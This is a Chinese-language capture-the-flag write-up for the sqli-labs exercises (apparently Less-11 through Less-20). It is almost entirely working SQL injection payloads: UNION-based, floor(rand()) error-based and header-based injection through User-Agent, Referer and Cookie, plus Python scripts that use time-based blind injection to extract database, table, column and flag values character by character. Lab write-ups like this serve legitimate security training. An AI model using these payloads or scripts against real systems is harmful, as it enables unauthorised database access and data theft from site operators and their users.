首先可以看到这题传入正确的账号密码,会有数据回显
尝试post
uname=admin'
通过报错语句可以发现用单引号即可闭合
post
uname=admin' or '1'='1
页面正常显示数据
post
uname=admin' and '1'='2
页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞
因为前面测得具有回显,所以采取union联合查询
流程为
uname=admin' order by 2 #
“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)
uname=-1' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#
这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示
uname=-1' union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#
uname=-1' union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#
uname=-1' union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#
首先可以看到这题传入正确的账号密码,会有数据回显
尝试post
uname=admin"
通过报错语句可以发现他服务器端的sql语句是用")闭合的
post
uname=admin") or '1'='1' #
页面正常显示数据
post
uname=admin") and '1'='2' #
页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞
因为前面测得具有回显,所以采取union联合查询
流程为
uname=admin") order by 2 #
“#” 用于注释掉sql语句后面的内容,最终查出返回的列数为2列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)
uname=-1") union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata)#
这边id传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示
uname=-1") union select 1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" )#
uname=-1") union select 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag')#
uname=-1") union select 1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag)#
首先可以看到这题传入账号密码,并不会有回显的数据,所以这题不能用联合查询
尝试post
uname=admin'
通过报错语句可以发现他服务器端的sql语句是用‘)闭合的
同时因为不存在回显的数据,所以可以尝试报错注入
post
uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
页面正常显示数据
post
uname=admin") and ‘1’=‘2’ #
页面无数据显示
由此可以判断出:此处具有uname处存在Sql注入漏洞
因为前面测得没有回显,但又报错信息,所以使用报错注入
流程为
uname=admin') and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 一个一个数据库查
uname=admin') and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
uname=admin') and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
uname=admin') and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入
尝试使用盲注测试脚本
import requests
import time
ss = time.time()
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/"
data={
'uname':"admin\" and sleep(5) #",
'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:
print("is Time")
由此可以判断出:此处具有uname处存在Sql盲注漏洞
使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误
import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-14/"
while True:
for i in table:
ss = time.time()
data_database = {
'uname':'''admin\" and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_table = {
'uname':'''admin\" and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_column = {
'uname':'''admin\" and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_flag = {
'uname':'''admin\" and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
#t=requests.post(url,data_database)
#t=requests.post(url,data_table)
#t=requests.post(url,data_column)
t=requests.post(url,data_flag)
if time.time()-ss>=4:
flag += i
print (flag)
break
首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入
尝试使用盲注测试脚本,主要 为了测试如何去闭合前面内容,来构造出正确的sql语句
import requests
import time
ss = time.time()
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/"
data={
'uname':"admin' and sleep(5) #",
'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:
print("is Time")
由此可以判断出:此处具有uname处存在Sql盲注漏洞
使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误
import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://eac9c0ec-f27c-4e70-9999-a0f9e36d0b55.node1.buuoj.cn/Less-15/"
while True:
for i in table:
ss = time.time()
data_database = {
'uname':'''admin' and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_table = {
'uname':'''admin' and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_column = {
'uname':'''admin' and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_flag = {
'uname':'''admin' and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
#t=requests.post(url,data_database)
#t=requests.post(url,data_table)
#t=requests.post(url,data_column)
t=requests.post(url,data_flag)
if time.time()-ss>=4:
flag += i
print (flag)
break
首先可以看到这题传入账号密码或者尝试引号闭合,并不会有回显的数据,也不有报错信息,所以这题不能用联合查询和报错注入
尝试使用盲注测试脚本,主要 为了测试如何去闭合前面内容,来构造出正确的sql语句
import requests
import time
ss = time.time()
url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/"
data={
'uname':"admin\") and sleep(5) #",
'passwd':'admin'
}
t=requests.post(url,data)
if time.time()-ss>=4:
print("is Time")
由此可以判断出:此处具有uname处存在Sql盲注漏洞
使用脚本的sleep函数时间自行控制,因为不同服务器的响应时间不同,sleep时间越久,越准确。因为若sleep时间短了,有可能因为本身服务器响应较慢导致爆破出来的值错误
如果数据库中的内容不在table内,可以直接使用ascii表来作为table,设置常见table是为了脚本跑的更快
import requests
import time
flag = ''
table="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}"
url="http://83152ef4-5545-4380-bb72-f2aabfa6e179.node1.buuoj.cn/Less-16/"
while True:
for i in table:
ss = time.time()
data_database = {
'uname':'''admin") and ELT(left((SELECT schema_name FROM information_schema.schemata limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_table = {
'uname':'''admin") and ELT(left((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_column = {
'uname':'''admin") and ELT(left((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
data_flag = {
'uname':'''admin") and ELT(left((SELECT flag FROM ctftraining.flag limit 0,1),{})='{}{}',SLEEP(5)) #'''.format(len(flag)+1,flag, i),
'passwd':'admin'
}
#t=requests.post(url,data_database)
#t=requests.post(url,data_table)
#t=requests.post(url,data_column)
t=requests.post(url,data_flag)
if time.time()-ss>=4:
flag += i
print (flag)
break
首先可以看到这题传入账号和想要重置的密码,当传入合法的输入时,会提示你密码修改成功
尝试post
uname=admin&passwd=admin'
通过报错语句可以发现他服务器端的sql语句
由此可以判断出,在passwd处存在报错注入,且可用单引号闭合
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) #
uname=admin&passwd=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) #
登陆给我回显的数据是我的User Agent。
尝试bp抓包
可以看到我们发送请求的时候将我们的User-Agent传入到了服务器端,然后记录到了数据库里面。
尝试控制User-Agent
User-Agent=1
User-Agent=1'
通过报错语句可以发现他可以使用单引号闭合,又因为没有具体数据的回显
由此可以判断出,存在报错注入
User-Agent=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询
User-Agent=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
User-Agent=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
User-Agent=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
登陆给我回显的数据是我的Referer。
可以想到我们发送请求的时候将我们的Referert传入到了服务器端,然后记录到了数据库里面。
尝试控制Referer
Referer=1
Referer=1'
通过报错语句可以发现他可以使用单引号闭合,又因为没有具体数据的回显
由此可以判断出,存在报错注入
Referer=1' and (select 1 from (select count(*),concat((SELECT schema_name FROM information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
通过报错注入,因为所有数据库拼接的长度大于了64个字符,所以使用limit 逐个查询
Referer=1' and (select 1 from (select count(*),concat((SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
Referer=1' and (select 1 from (select count(*),concat((SELECT column_name FROM information_schema.columns WHERE table_name = 'flag' limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
Referer=1' and (select 1 from (select count(*),concat((SELECT flag FROM ctftraining.flag),floor (rand(0)*2))x from information_schema.tables group by x)a) or '1'='1
登陆给我回显的数据是I LOVE YOU COOKIES。
尝试bp抓包
猜测应该是将我们的cookie传入到了服务器端,然后记录到了数据库里面。
尝试Cookie= uname=admin
发现有回显数据
尝试
Cookie= uname=admin'
报错信息如下
通过报错语句可以发现他服务器端的sql语句是用单引号闭合的
因为有详细数据回显,所以判断可以使用Union联合查询
因为前面测得具有回显,所以采取union联合查询
流程为
Cookie: uname=admin' order by 3 #
–+用于注释掉sql语句后面的内容,最终查出返回的列数为3列(列数一个一个试,最大的一个数,且不报Unknown column ‘*’ in ‘order clause’)
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #
这边uname传入一个数据库中没有的值即可,因为如果是数据库中存在的值,即会返回多条记录,会显示前一个找到的值,而我们想要的将无法显示。
同时我们使用GROUP_CONCAT将查询到的数据库名拼接显示
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(TABLE_NAME) FROM information_schema.tables WHERE TABLE_SCHEMA="ctftraining" ) #
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'flag') #
Cookie:uname=-1' union select 1,1,(SELECT GROUP_CONCAT(flag) FROM ctftraining.flag) #